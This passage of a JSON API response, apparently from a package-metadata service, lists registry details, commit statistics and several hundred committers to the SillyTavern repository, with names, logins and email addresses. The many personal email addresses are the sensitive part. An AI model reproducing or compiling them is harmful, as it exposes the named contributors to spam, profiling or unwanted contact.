ms/api/v1/registries/proxy.golang.org/packages/github.com%2FSillyTavern%2FSillyTavern/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2FSillyTavern%2FSillyTavern/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2FSillyTavern%2FSillyTavern/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2FSillyTavern%2FSillyTavern/codemeta","maintainers":[],"registry":{"name":"proxy.golang.org","url":"https://proxy.golang.org","ecosystem":"go","default":true,"packages_count":2541105,"maintainers_count":0,"namespaces_count":853839,"keywords_count":146276,"github":"golang","metadata":{"funded_packages_count":121068,"sync_missing_packages_cursor":{"timestamp":"2026-09-29T00:04:57.155362Z","path":"github.com/virtengine/virtengine/sdk/specs","version":"v0.0.0-20260928231908-c0c887541540"},"rate_limit":5},"icon_url":"https://github.com/golang.png","created_at":"2022-04-04T15:19:22.939Z","updated_at":"2026-10-25T05:05:29.074Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/namespaces"}}],"commits":{"id":1785513,"full_name":"SillyTavern/SillyTavern","default_branch":"release","total_commits":9604,"total_committers":421,"total_bot_commits":8,"total_bot_committers":2,"mean_commits":22.81235154394299,"dds":0.44179508538109125,"past_year_total_commits":658,"past_year_total_committers":136,"past_year_total_bot_commits":0,"past_year_total_bot_committers":0,"past_year_mean_commits":4.838235294117647,"past_year_dds":0.5303951367781155,"last_synced_at":"2026-10-24T15:48:13.584Z","last_synced_commit":"06bde939fb1e9c4c8d8641d810f0a916b5bce127","created_at":"2024-09-20T18:45:02.898Z","updated_at":"2026-10-24T15:48:12.983Z","committers":[{"name":"Cohee","email":"18619528+Cohee1207","login":"Cohee1207","count":5361},{"name":"Wolfsblvt","email":"wolfsblvt@gmail.com","login":"Wolfsblvt","count":806},{"name":"LenAnderson","email":"Anderson.Len@outlook.com","login":null,"count":364},{"name":"maver","email":"kentucky@posteo.de","login":"artisticMink","count":302},{"name":"RossAscends","email":"124905043+RossAscends","login":"RossAscends","count":277},{"name":"valadaptive","email":"valadaptive@protonmail.com","login":"valadaptive","count":178},{"name":"Tony Ribeiro","email":"tonyribeiro.research.aca@gmail.com","login":"Tony-sama","count":95},{"name":"kingbri","email":"bdashore3@proton.me","login":"bdashore3","count":67},{"name":"based","email":"phrog@riseup.net","login":"cunnymessiah","count":65},{"name":"Stefan Daniel Schwarz","email":"github.com@wolfram.ravenwolf.de","login":"WolframRavenwolf","count":56},{"name":"RealBeepMcJeep","email":"realbeepmcjeep@gmail.com","login":"RealBeepMcJeep","count":54},{"name":"city-unit","email":"140349364+city-unit","login":"city-unit","count":53},{"name":"Rivelle","email":"rivelle.days@gmail.com","login":"RivelleDays","count":53},{"name":"Yokayo","email":"nonameutubecomm@gmail.com","login":"GiveMeSomeUsername","count":51},{"name":"bmen25124","email":"bmen25124@gmail.com","login":"bmen25124","count":49},{"name":"BPplays","email":"andymalbp@gmail.com","login":"BPplays","count":44},{"name":"cloak1505","email":"170299980+cloak1505","login":"cloak1505","count":43},{"name":"Kristan Schlikow","email":"kristian@schlikow.de","login":"Dakraid","count":41},{"name":"Juha Jeronen","email":"juha.m.jeronen@gmail.com","login":"Technologicat","count":41},{"name":"steve green","email":"steve_green@qq.com","login":"steve02081504","count":38},{"name":"Crow","email":"bismuthglass@protonmail.com","login":"BismuthGlass","count":37},{"name":"Succubyss","email":"87207237+Succubyss","login":"Succubyss","count":34},{"name":"deffcolony","email":"61471128+deffcolony","login":"deffcolony","count":33},{"name":"qvink","email":"qvink","login":"qvink","count":32},{"name":"Bronya-Rand","email":"azarieldc@gmail.com","login":"Bronya-Rand","count":31},{"name":"DeclineThyself","email":"235079501+DeclineThyself","login":"DeclineThyself","count":30},{"name":"Karl-Johan Alm","email":"karljohan-alm@garage.co.jp","login":"kallewoof","count":28},{"name":"50h100a","email":"all_awful@proton.me","login":"50h100a","count":26},{"name":"SDS","email":"52386626+StefanDanielSchwarz","login":"StefanDanielSchwarz","count":25},{"name":"joe","email":"jsviverette@gmail.com","login":null,"count":24},{"name":"Yokayo","email":"52032299+Yokayo","login":"Yokayo","count":24},{"name":"Copilot","email":"198982749+Copilot","login":"Copilot","count":23},{"name":"Joe","email":"joenunezb@gmail.com","login":"joenunezb","count":22},{"name":"ouoertheo","email":"jamin@tomeofjamin.net","login":null,"count":22},{"name":"M0cho","email":"77959408+M0ch0","login":"M0ch0","count":21},{"name":"Hirose","email":"86906598+HiroseKoichi","login":"HiroseKoichi","count":21},{"name":"ceruleandeep","email":"deep@cerulean.navy","login":null,"count":21},{"name":"Gness Erquint","email":"gness.na@gmail.com","login":"Erquint","count":20},{"name":"PasserDreamer","email":"30385417+PasserDreamer","login":"PasserDreamer","count":20},{"name":"Sevenyine","email":"65720409+Sevenyine","login":"Sevenyine","count":18},{"name":"Mike Weldon","email":"mweldon@yahoo.com","login":"mweldon","count":18},{"name":"kalomaze","email":"66376113+kalomaze","login":"kalomaze","count":18},{"name":"DonMoralez","email":"donmoralez@gmail.com","login":"DonMoralez","count":17},{"name":"L","email":"123923688+Vibecoder9000","login":"Vibecoder9000","count":17},{"name":"Alexander Abushady","email":"44341163+AAbushady","login":"AAbushady","count":16},{"name":"InterestingDarkness","email":"computeridiot999@gmail.com","login":"SupremeTechWizard","count":16},{"name":"Aisu Wata","email":"aisu.wata0@gmail.com","login":"aisu-wata0","count":16},{"name":"AlpinDale","email":"alpindale@gmail.com","login":"AlpinDale","count":15},{"name":"equal-l2","email":"eng.equall2@gmail.com","login":"equal-l2","count":14},{"name":"d-ber","email":"davide.bertalero@studenti.unimi.it","login":"d-ber","count":13},{"name":"Leandro Jofré","email":"leandrotomasjofre@gmail.com","login":"leandrojofre","count":13},{"name":"Risenafis","email":"reverse.hierarchy@gmail.com","login":"Risenafis","count":13},{"name":"majick","email":"125657+majick","login":"majick","count":12},{"name":"QuantumEntangledAndy","email":"sheepchaan@gmail.com","login":"QuantumEntangledAndy","count":12},{"name":"Honey Tree","email":"kalakanlogs@proton.me","login":null,"count":12},{"name":"DreamGenX","email":"x@dreamgen.com","login":"DreamGenX","count":12},{"name":"DarokCx","email":"77368869+DarokCx","login":"DarokCx","count":12},{"name":"splitclover","email":"splitclover@proton.me","login":"splitclover","count":11},{"name":"Tony Gies","email":"tgies@tgies.net","login":"tgies","count":11},{"name":"ThisIsPIRI","email":"thisispiri@gmail.com","login":"ThisIsPIRI","count":11},{"name":"berbant","email":"33601955+berbant","login":"berbant","count":10},{"name":"awaae001","email":"3271436144@qq.com","login":"awaae001","count":9},{"name":"NWilson","email":"it@niklaswilson.net","login":"NiklasWilson","count":9},{"name":"WBlair1","email":"wolfgangblair1@gmail.com","login":"WBlair1","count":9},{"name":"Reithan","email":"bo122081@hotmail.com","login":"Reithan","count":8},{"name":"Samueras","email":"Samueras@jackoedv.de","login":"Samueras","count":8},{"name":"sirius422","email":"sirius42@gfw.moe","login":null,"count":8},{"name":"Spappz","email":"34202141+Spappz","login":"Spappz","count":8},{"name":"erew123","email":"35898566+erew123","login":"erew123","count":8},{"name":"刘悦","email":"zcxey2911@hotmail.com","login":"v3ucn","count":8},{"name":"InspectorCaracal","email":"51038201+InspectorCaracal","login":"InspectorCaracal","count":8},{"name":"Deciare","email":"1689220+deciare","login":"deciare","count":7},{"name":"Daryl","email":"daryl.streete@snhu.edu","login":"DAurielS","count":7},{"name":"Eradev","email":"admin@eradev.com","login":"Eradev","count":7},{"name":"Fayiron","email":"59962292+Fayiron","login":"Fayiron","count":7},{"name":"StageDog","email":"aksanajw845@gmail.com","login":"StageDog","count":7},{"name":"dependabot[bot]","email":"49699333+dependabot[bot]","login":"dependabot[bot]","count":7},{"name":"kwaroran","email":"amasio1234@proton.me","login":"kwaroran","count":7},{"name":"Danil Boldyrev","email":"daswerq123@gmail.com","login":"daswer123","count":7},{"name":"ceruleandeep","email":"cerulean@cerulean.foo","login":null,"count":7},{"name":"sasha0552","email":"admin@sasha0552.org","login":"sasha0552","count":7},{"name":"Sneha C","email":"coffeebrown0@gmail.com","login":"underscorex86","count":7},{"name":"Tosd","email":"65720409+Tosd0","login":"Tosd0","count":6},{"name":"IceFog72","email":"164350516+IceFog72","login":"IceFog72","count":6},{"name":"pcpthm","email":"pcpthm@gmail.com","login":"pcpthm","count":6},{"name":"Carsten Kragelund","email":"carsten@kragelund.me","login":"nyxkrage","count":6},{"name":"Christoph","email":"code@yozora.eu","login":"Christoph-D","count":6},{"name":"KevinSun","email":"paver.mails+github@gmail.com","login":"Zhen-Bo","count":6},{"name":"Edward Kim","email":"edwardkim.ek@gmail.com","login":"edk208","count":6},{"name":"DeathStalker471","email":"thomasnealson85@gmail.com","login":"DeathStalker471","count":6},{"name":"Guanghua Lu","email":"102669562+Touch-Night","login":"Touch-Night","count":5},{"name":"I","email":"16441743+imesha10","login":"imesha10","count":5},{"name":"Beinsezii","email":"39478211+Beinsezii","login":"Beinsezii","count":5},{"name":"Jason Wu","email":"wujason810@gmail.com","login":"Jasonnor","count":5},{"name":"Alex Yancey","email":"me@alexyancey.com","login":"ayancey","count":5},{"name":"Vitor Lima","email":"vitor@ferreiradelima.com","login":"vitorfdl","count":5},{"name":"DocShotgun","email":"126566557+DocShotgun","login":"DocShotgun","count":5},{"name":"valden80","email":"111227649+valden80","login":"valden80","count":5},{"name":"kingbri","email":"8082010+kingbri1","login":"kingbri1","count":5},{"name":"invisietch","email":"realechelon@proton.me","login":"invisietch","count":5},{"name":"Xiangzhe","email":"32761048+xz-dev","login":"xz-dev","count":5},{"name":"MAX-TAB","email":"60381043+MAX-TAB","login":"MAX-TAB","count":5},{"name":"pl752","email":"maximpl752@gmail.com","login":null,"count":4},{"name":"IkariDevGIT","email":"90197782+IkariDevGIT","login":"IkariDevGIT","count":4},{"name":"Xrystal","email":"xrystal@protonmail.com","login":"Xrystallized","count":4},{"name":"Ngo Dinh Gia Bao","email":"112873281+snowby666","login":"snowby666","count":4},{"name":"CasualAutopsy","email":"107777585+CasualAutopsy","login":"CasualAutopsy","count":4},{"name":"ptm0000","email":"ingan2484@naver.com","login":"ptm0000","count":4},{"name":"smirgol","email":"14124899+smirgol","login":"smirgol","count":4},{"name":"spacegeek69","email":"140951836+spacegeek69","login":"spacegeek69","count":4},{"name":"tincansimagine","email":"tincansimagine@gmail.com","login":"tincansimagine","count":4},{"name":"yuxiang","email":"zgce@163.com","login":"zgce","count":4},{"name":"Subwolf","email":"jeraran23@gmail.com","login":"subzero5544","count":4},{"name":"Lumi","email":"github@lumify.cat","login":"LumiWasTaken","count":4},{"name":"khanon","email":"khoners@protonmail.com","login":"khanonnie","count":4},{"name":"SolidSnacke","email":"solid.snacke@bk.ru","login":"SolidSnacke","count":4},{"name":"XXpE3","email":"xxpe3@nav.moe","login":"XXpE3","count":4},{"name":"johnbenac","email":"johnbenac","login":"johnbenac","count":4},{"name":"lucy","email":"154630366+lucyknada","login":"lucyknada","count":4},{"name":"Marcela Petra Ferraz de Novaes","email":"novaes.marcela@outlook.com","login":"m-petra-fn","count":4},{"name":"Isaac McFadyen","email":"isaac@imcf.me","login":"isaac-mcfadyen","count":4},{"name":"Forkoz","email":"59298527+Ph0rk0z","login":"Ph0rk0z","count":4},{"name":"David Fedolfi","email":"dfedolfi@gmail.com","login":"Esalarc","count":4},{"name":"Memerlin","email":"lucy_lerma@hotmail.es","login":"Memerlin","count":4},{"name":"zerofata","email":"fxsliam@outlook.com","login":"zerofata","count":3},{"name":"wrvsrx","email":"wrvsrx@outlook.com","login":"wrvsrx","count":3},{"name":"fizzAI","email":"fizzarolli@riseup.net","login":"fizzAI","count":3},{"name":"mightytribble","email":"246552901+mightytribble","login":"mightytribble","count":3},{"name":"dylan","email":"dylanbradshaw107@hotmail.com","login":"dylan1951","count":3},{"name":"docfail","email":"4965997+docfail","login":"docfail","count":3},{"name":"blueswolf","email":"160055096+blueswolf","login":"blueswolf","count":3},{"name":"YunZLu","email":"130174259+YunZLu","login":"YunZLu","count":3},{"name":"Yaroslav Sivakov","email":"yar3333@gmail.com","login":"yar3333","count":3},{"name":"Bahamut","email":"admin@bahamut.ru","login":"BahamutRU","count":3},{"name":"Theros","email":"theros@svaltek.xyz","login":"Therosin","count":3},{"name":"Spicy Marinara","email":"mgrabower97@gmail.com","login":"SpicyMarinara","count":3},{"name":"AlexVeeBee","email":"alex200.veebee@gmail.com","login":"AlexVeeBee","count":3},{"name":"Boof2015","email":"75185879+Boof2015","login":"Boof2015","count":3},{"name":"Deathspike","email":"meister.deathspike@outlook.com","login":"Deathspike","count":3},{"name":"Eugén Cowie","email":"eugencowie","login":"eugencowie","count":3},{"name":"FriedCaper","email":"friedcaper@proton.me","login":"FriedCaper","count":3},{"name":"GregW6","email":"atlanticgreg1@gmail.com","login":"GregW6","count":3},{"name":"Hydroerotic","email":"100773484+Hydroerotic","login":"Hydroerotic","count":3},{"name":"Conor Nash","email":"conor@nbs.consulting","login":null,"count":3},{"name":"Len","email":"LenAnderson","login":"LenAnderson","count":3},{"name":"Octopus","email":"liyuan851277048@icloud.com","login":"octo-patch","count":3},{"name":"Rendal","email":"23568313+sakhavhyand","login":"sakhavhyand","count":3},{"name":"angry bird","email":"crimeragames@gmail.com","login":"crimeragames","count":2},{"name":"ZhenyaPav","email":"61346893+ZhenyaPav","login":"ZhenyaPav","count":2},{"name":"X00LA","email":"xoolalp@gmail.com","login":"X00LA","count":2},{"name":"Vin Astralis","email":"victor@augusteo.com","login":"augusteo","count":2},{"name":"Vhallo","email":"vhallor@outlook.com","login":"Vhallo","count":2},{"name":"Trahloc","email":"github-com@trahloc.com","login":"Trahloc","count":2},{"name":"pyrater","email":"pyrater@gmail.com","login":"pyrater","count":2},{"name":"Serena","email":"85121347+AzureKarasuba","login":"AzureKarasuba","count":2},{"name":"Sammy","email":"sammy@sammcheese.net","login":"SammCheese","count":2},{"name":"Roberts Slisans","email":"roberts.slisans@gmail.com","login":"rsxdalv","count":2},{"name":"柚柚子","email":"yuaiccc@aliyun.com","login":"yuaiccc","count":2},{"name":"Rebecca Turner","email":"rebecca@iarna.org","login":"iarna","count":2},{"name":"Peter Dave Hello","email":"hsu@peterdavehello.org","login":"PeterDaveHello","count":2},{"name":"Pavdig","email":"101715456+Pavdig","login":"Pavdig","count":2},{"name":"anmelus","email":"67850900+anmelus","login":"anmelus","count":2},{"name":"buzz","email":"buzz","login":"buzz","count":2},{"name":"caesarw","email":"caesar.wu@outlook.com","login":"caesarw","count":2},{"name":"Finadil","email":"PatrickEHerbst@gmail.com","login":"Finadil","count":2},{"name":"Ikko Eltociear Ashimine","email":"eltociear@gmail.com","login":"eltociear","count":2},{"name":"drake1138","email":"drakeroz1138@gmail.com","login":"drake1138","count":2},{"name":"error-usernotavailable","email":"anonymoususernotavailable@gmail.com","login":"error-usernotavailable","count":2},{"name":"powercaller","email":"133809462+powercaller","login":"powercaller","count":2},{"name":"gd1551","email":"55545126+gd1551","login":"gd1551","count":2},{"name":"gk","email":"gkpyon@gmail.com","login":"gakada","count":2},{"name":"h-a-s-k","email":"140975143+h-a-s-k","login":"h-a-s-k","count":2},{"name":"my-alt","email":"250851737+my-alt-acct","login":"my-alt-acct","count":2},{"name":"parsedone","email":"161969366+parsedone","login":"parsedone","count":2},{"name":"oobabooga","email":"112222186+oobabooga","login":"oobabooga","count":2},{"name":"waht","email":"qwerty@111.com","login":null,"count":2},{"name":"XTer","email":"xxoy1234@outlook.com","login":null,"count":2},{"name":"zonde306","email":"anonymous@localhost","login":null,"count":2},{"name":"Dzmitry Kazlouski","email":"d.kazlouski@pxlnd.com","login":null,"count":2},{"name":"Brioch","email":"134280928+Brioch","login":"Brioch","count":2},{"name":"Ben","email":"44178664+cxmplex","login":"cxmplex","count":2},{"name":"AyeeMinerva","email":"ayeeminerva@outlook.com","login":"AyeeMinerva","count":2},{"name":"André M Piva","email":"55606913+andrempiva","login":"andrempiva","count":2},{"name":".:bubfix:.","email":"182156144+bubfix","login":"bubfix","count":2},{"name":"dllt98","email":"135049225+dllt98","login":"dllt98","count":2},{"name":"Chanho Chung","email":"hello@chungchan.dev","login":"chungchandev","count":2},{"name":"Compass","email":"32301767+AliceRabbit","login":"AliceRabbit","count":2},{"name":"Cory Gross","email":"CoryG89@gmail.com","login":"CoryG89","count":2},{"name":"Cyberes","email":"64224601+Cyberes","login":"Cyberes","count":2},{"name":"David Jimenez","email":"dvejmz@sgfault.com","login":"dvejmz","count":2},{"name":"EvilFear","email":"52994635+Hakirus","login":"Hakirus","count":2},{"name":"Jenny","email":"36723064+Scarlet-t","login":"Scarlet-t","count":2},{"name":"Kendell R","email":"KTibow","login":"KTibow","count":2},{"name":"Khreed","email":"135299775+KhreedAI","login":"KhreedAI","count":2},{"name":"Kristy Aurelia","email":"120577588+KrsityKu","login":"KrsityKu","count":2},{"name":"Matěj Račinský","email":"racinsky.matej@seznam.cz","login":"racinmat","count":2},{"name":"Maxim Lebedev","email":"git@toby3d.me","login":"toby3d","count":2},{"name":"Meus Artis","email":"4709458+Meus-Artis","login":"Meus-Artis","count":2},{"name":"Mika","email":"isabellamika@gmail.com","login":"Miiiikachu","count":2},{"name":"Mooki","email":"m@schienbein.dev","login":"mschienbein","count":2},{"name":"NearEDGE","email":"NearEDGE@live.com","login":"NearEDGE","count":2},{"name":"Ni-co-la-s","email":"96898279+Ni-co-la-s","login":"Ni-co-la-s","count":2},{"name":"NijikaMyWaifu","email":"139055015+NijikaMyWaifu","login":"NijikaMyWaifu","count":2},{"name":"Ivruix","email":"52746744+Ivruix","login":"Ivruix","count":2},{"name":"bal-spec","email":"186531371+bal-spec","login":"bal-spec","count":2},{"name":"Henk","email":"7526774+henk717","login":"henk717","count":2},{"name":"爱克狮","email":"42016325+A1KESH1","login":"A1KESH1","count":2},{"name":"P3il4","email":"42489293+P3il4","login":"P3il4","count":2},{"name":"cloudskytian","email":"cloudskytian","login":"cloudskytian","count":2},{"name":"wickedcode","email":"wickedcode@outlook.com","login":"wickedcode01","count":2},{"name":"uberubert","email":"johnfrian@gmail.com","login":"uberubert","count":2},{"name":"qHiyokop","email":"143018810+qHiyokop","login":"qHiyokop","count":2},{"name":"Paniphon","email":"128647114+paniphons","login":"paniphons","count":2},{"name":"duncannah","email":"38371914+duncannah","login":"duncannah","count":1},{"name":"daiaji","email":"hentaiwushuang@gmail.com","login":"daiaji","count":1},{"name":"crsp6447","email":"crsp6447@pm.me","login":"crsp6447","count":1},{"name":"coffeegrind123","email":"103264516+coffeegrind123","login":"coffeegrind123","count":1},{"name":"closure","email":"126289616+closuretext","login":"closuretext","count":1},{"name":"cierru","email":"arcciel@yandex.ru","login":"cierru","count":1},{"name":"ceruleandeep","email":"83318388+ceruleandeep","login":"ceruleandeep","count":1},{"name":"bumprat","email":"bumprat","login":"bumprat","count":1},{"name":"blackmesataiwan","email":"20988581+blackmesataiwan","login":"blackmesataiwan","count":1},{"name":"bbastex","email":"33435998+bbastex","login":"bbastex","count":1},{"name":"ashishch432","email":"55024632+ashishch432","login":"ashishch432","count":1},{"name":"allo-","email":"allo@laxu.de","login":"allo-","count":1},{"name":"Robert de Forest","email":"guitar.robot@gmail.com","login":"rdeforest","count":1},{"name":"err","email":"546068+cuteanon","login":"cuteanon","count":1},{"name":"ershang-fireworks","email":"ershang-oss@fireworks.ai","login":"ershang-fireworks","count":1},{"name":"evpeople","email":"hangcaihui@gmail.com","login":"evpeople","count":1},{"name":"fathom0324","email":"221750481+fathom0324","login":"fathom0324","count":1},{"name":"feg","email":"58643807+f-eg","login":"f-eg","count":1},{"name":"felger","email":"yuanjungj@gmail.com","login":"felger1115","count":1},{"name":"fruit","email":"1746125922@qq.com","login":"chen-jiying","count":1},{"name":"github-actions[bot]","email":"41898282+github-actions[bot]","login":"github-actions[bot]","count":1},{"name":"guoql666","email":"30526996+guoql666","login":"guoql666","count":1},{"name":"gwentman","email":"wtttjjj@gmail.com","login":"gwentman","count":1},{"name":"hexa4ce","email":"55044716+hexa4ce","login":"hexa4ce","count":1},{"name":"Small Eggs","email":"144642298+small-eggs","login":"small-eggs","count":1},{"name":"SoniaNvm","email":"sonianevermindwaifu@gmail.com","login":"egirlmilkers","count":1},{"name":"Sorro","email":"89468301+Sorro123","login":"Sorro123","count":1},{"name":"Spacellary","email":"39604793+Spacellary","login":"Spacellary","count":1},{"name":"SrJuggernaut","email":"jugger@srjuggernaut.dev","login":"SrJuggernaut","count":1},{"name":"Stagnating","email":"stagnantarchives@gmail.com","login":"Stagnating","count":1},{"name":"Stardust","email":"1441308506a@gmail.com","login":"Reisenbug","count":1},{"name":"Stephen Brown","email":"steve@fig14.com","login":"stevelittlefish","count":1},{"name":"TLD","email":"102594721+TheLonelyDevil9","login":"TheLonelyDevil9","count":1},{"name":"TanJeeSchuan","email":"89920999+TanJeeSchuan","login":"TanJeeSchuan","count":1},{"name":"Tantoofaaz777","email":"95540691+Tantoofaaz777","login":"Tantoofaaz777","count":1},{"name":"Teashrock","email":"kajitsu22@gmail.com","login":"Teashrock","count":1},{"name":"TensorNull","email":"129579691+TensorNull","login":"TensorNull","count":1},{"name":"Unnatural Developer","email":"40277404+unnaturaldeveloper","login":"unnaturaldeveloper","count":1},{"name":"Wagner Bruna","email":"wbruna","login":"wbruna","count":1},{"name":"Wandering Mouse","email":"215439289+WanderingMouse","login":"WanderingMouse","count":1},{"name":"nonenothingnada","email":"150897918+nonenothingnada","login":"nonenothingnada","count":1},{"name":"YaraTheNomad","email":"audiotranscribes@proton.me","login":"yarathenomad","count":1},{"name":"Yongjie Guan","email":"53615699+CodeBoy2006","login":"CodeBoy2006","count":1},{"name":"YKDZ","email":"3070799584@QQ.COM","login":"YKDZ","count":1},{"name":"Zhewen Tan","email":"1090179959@qq.com","login":"tandede","count":1},{"name":"Zhongyi Lu","email":"zhongyi_lu@outlook.com","login":"Zhongyi-Lu","count":1},{"name":"aalizelau","email":"aalizelau@gmail.com","login":"aalizelau","count":1},{"name":"adventchilde / aethel","email":"93360954+adventchilde","login":"adventchilde","count":1},{"name":"aikitoria","email":"151776613+aikitoria","login":"aikitoria","count":1},{"name":"alex","email":"axAilotl@pm.me","login":"axAilotl","count":1},{"name":"voodoohop","email":"thomash@pollinations.ai","login":null,"count":1},{"name":"notfiz","email":"fiz@cock.li","login":null,"count":1},{"name":"gabriel dhimoila","email":"gabriel.dhimoila.hologarde@adp.fr","login":null,"count":1},{"name":"exponential","email":"echo ZXhwb25lbnRpYWxtYXRyaXhAcHJvdG9ubWFpbC5jb20K | base64 -d","login":null,"count":1},{"name":"as-gh2","email":"ashvin.21+gh2@gmail.com","login":null,"count":1},{"name":"anon","email":"anon@example.org","login":null,"count":1},{"name":"Vornir Jotunn","email":"nordic.jotunn@protonmail.com","login":null,"count":1},{"name":"Vincent Castellano","email":"vincentcastellano@gmail.com","login":null,"count":1},{"name":"Olivier Gagnon","email":"ogagnon@ludia.com","login":null,"count":1},{"name":"Lumi","email":"kevin+github@lumify.cat","login":null,"count":1},{"name":"Kas1o","email":"twins_t@outlook.com","login":null,"count":1},{"name":"Harrison","email":"harrison@recursal.ai","login":null,"count":1},{"name":"Adam","email":"adam@adamcho.com","login":null,"count":1},{"name":"Adam","email":"dev@DESKTOP-BRP86M0","login":null,"count":1},{"name":"sm1945","email":"155906075+sm1945","login":"sm1945","count":1},{"name":"test157t","email":"111318644+test157t","login":"test157t","count":1},{"name":"the big boss","email":"77330042+kingbased","login":"kingbased","count":1},{"name":"thecaptain789","email":"257642323+thecaptain789","login":"thecaptain789","count":1},{"name":"theo77186","email":"theo77186@gmail.com","login":"theo77186","count":1},{"name":"theunstableman","email":"137993202+theunstableman","login":"theunstableman","count":1},{"name":"toastli","email":"45505531+toastli","login":"toastli","count":1},{"name":"yokuminto","email":"yokuminto@qq.com","login":"yokuminto","count":1},{"name":"yukikun-dev","email":"132244937+yukikun-dev","login":"yukikun-dev","count":1},{"name":"zengls","email":"94688592+zeroDtree","login":"zeroDtree","count":1},{"name":"zhongerxll","email":"160529153+zhongerxll","login":"zhongerxll","count":1},{"name":"加乘","email":"93032489+40436michael","login":"40436michael","count":1},{"name":"epyllia","email":"229406611+epyllia","login":"epyllia","count":1},{"name":"allen9441","email":"72611024+allen9441","login":"allen9441","count":1},{"name":"huisman","email":"23581164+huisman","login":"huisman","count":1},{"name":"issues-opener","email":"180038973+issues-opener","login":"issues-opener","count":1},{"name":"kashmirmydon","email":"seashallow@proton.me","login":"kashmirmydon","count":1},{"name":"kings9527","email":"168347801+kings9527","login":"kings9527","count":1},{"name":"kir-gadjello","email":"111190790+kir-gadjello","login":"kir-gadjello","count":1},{"name":"kokansei","email":"34032968+kokansei","login":"kokansei","count":1},{"name":"leopardracer","email":"136604165+leopardracer","login":"leopardracer","count":1},{"name":"lunar sheep","email":"102860538+dylenyedc","login":"dylenyedc","count":1},{"name":"mashwell","email":"9461543+mashwell","login":"mashwell","count":1},{"name":"maxime-fleury","email":"81691077+maxime-fleury","login":"maxime-fleury","count":1},{"name":"mekineer","email":"mekineer@proton.me","login":"mekineer-com","count":1},{"name":"mrguymiah","email":"donutmr@hotmail.com","login":"mrguymiah","count":1},{"name":"nfuller286","email":"80130411+nfuller286","login":"nfuller286","count":1},{"name":"曹博淳","email":"neineiwasher@gmail.com","login":"CBOSSX","count":1},{"name":"omahs","email":"73983677+omahs","login":"omahs","count":1},{"name":"ouoertheo","email":"ouoertheo@tomeofjamin.net","login":"ouoertheo","count":1},{"name":"pandora","email":"128635000+pandora-s-git","login":"pandora-s-git","count":1},{"name":"poipoi300","email":"tommystonge@yahoo.ca","login":"poipoi300","count":1},{"name":"primorLee","email":"lwz2077950009@outlook.com","login":"primorLee","count":1},{"name":"qHiyokop","email":"caroligattini@gmail.com","login":"Pardeshx","count":1},{"name":"realyxl","email":"realyuxuanli@gmail.com","login":"realyxl","count":1},{"name":"saitewasreset","email":"150151481+saitewasreset","login":"saitewasreset","count":1},{"name":"san-tian","email":"58291765+san-tian","login":"san-tian","count":1},{"name":"shanmaocc","email":"47207787+shanmaocc","login":"shanmaocc","count":1},{"name":"shifusen329","email":"quanhong329@gmail.com","login":"shifusen329","count":1},{"name":"Culpeo","email":"Culpeo.","login":"Culpeo.","count":1},{"name":"DN2331","email":"92578034+DN2331","login":"DN2331","count":1},{"name":"Daleth Darko","email":"Daleth@Dalethium.com","login":"Dalethium","count":1},{"name":"Dan Helfman","email":"witten@torsion.org","login":"witten","count":1},{"name":"Dclef","email":"42974381+Dclef","login":"Dclef","count":1},{"name":"DepFA","email":"35278260+dfaker","login":"dfaker","count":1},{"name":"Devin Bayer","email":"dev@doubly.so","login":"akvadrako","count":1},{"name":"Dmitry","email":"tumaskow@yandex.ru","login":"D1m7asis","count":1},{"name":"Doa","email":"doa882320@gmail.com","login":"Doa86","count":1},{"name":"DragonFSKY","email":"38503900+DragonFSKY","login":"DragonFSKY","count":1},{"name":"EX3-0","email":"144027567+EX3-0","login":"EX3-0","count":1},{"name":"Ecalose","email":"47114714+Ecalose","login":"Ecalose","count":1},{"name":"Em","email":"136832482+m98bw","login":"m98bw","count":1},{"name":"Enerccio","email":"admin@en-circle.com","login":"Enerccio","count":1},{"name":"EugeoSynthesisThirtyTwo","email":"gabriel.dhimoila@gmail.com","login":"EugeoSynthesisThirtyTwo","count":1},{"name":"F.B.","email":"FishBoneEK@outlook.com","login":"fishBone000","count":1},{"name":"Feldherren","email":"rpaliwoda@googlemail.com","login":"Feldherren","count":1},{"name":"Frank Schubert","email":"f.schubert@gmail.com","login":"frankschubert","count":1},{"name":"Frédéric Bolvin","email":"frederic@bol.vin","login":"Fensterbank","count":1},{"name":"Fyphen","email":"fyphensub@gmail.com","login":"Fyphen1223","count":1},{"name":"GERNOMA","email":"54479238+GERNOMA","login":"GERNOMA","count":1},{"name":"Gabraham","email":"gabraham.mail@protonmail.com","login":"SSJGabraham","count":1},{"name":"GentleBurr","email":"144729351+GentleBurr","login":"GentleBurr","count":1},{"name":"GhostXia","email":"33112711+GhostXia","login":"GhostXia","count":1},{"name":"GoldenglowMeow","email":"55006368+GoldenglowMeow","login":"GoldenglowMeow","count":1},{"name":"Goshe-nite","email":"112730817+Goshe-nite","login":"Goshe-nite","count":1},{"name":"An5w1r","email":"167383411+MindsMaster","login":"MindsMaster","count":1},{"name":"Alpha-Omicron","email":"163928678+alpha-omicron","login":"alpha-omicron","count":1},{"name":"AliCat","email":"86847834+alicat22","login":"alicat22","count":1},{"name":"Alex Dills","email":"alex@stechstudio.com","login":"V13Axel","count":1},{"name":"Alex Denton","email":"125566609+alexdenton123","login":"alexdenton123","count":1},{"name":"Aleks L.T","email":"joink-github@toppe.no","login":"alekslt","count":1},{"name":"Ahbahl","email":"fabiuspodschadly@gmail.com","login":"Ahbahl","count":1},{"name":"AeonBlack","email":"aeonblack1@googlemail.com","login":"AeonBlack","count":1},{"name":"9nbf7c4q6b-lgtm","email":"9nbf7c4q6b@privaterelay.appleid.com","login":"9nbf7c4q6b-lgtm","count":1},{"name":"0x4kgi","email":"17591127+0x4kgi","login":"0x4kgi","count":1},{"name":"02loka","email":"153330008+02loka","login":"02loka","count":1},{"name":"AndSi-327","email":"forzesenasri@gmail.com","login":"AndSi-327","count":1},{"name":"Angel Luis Jimenez Martinez","email":"soyangel@gmail.com","login":"soyangel","count":1},{"name":"Anh Tri 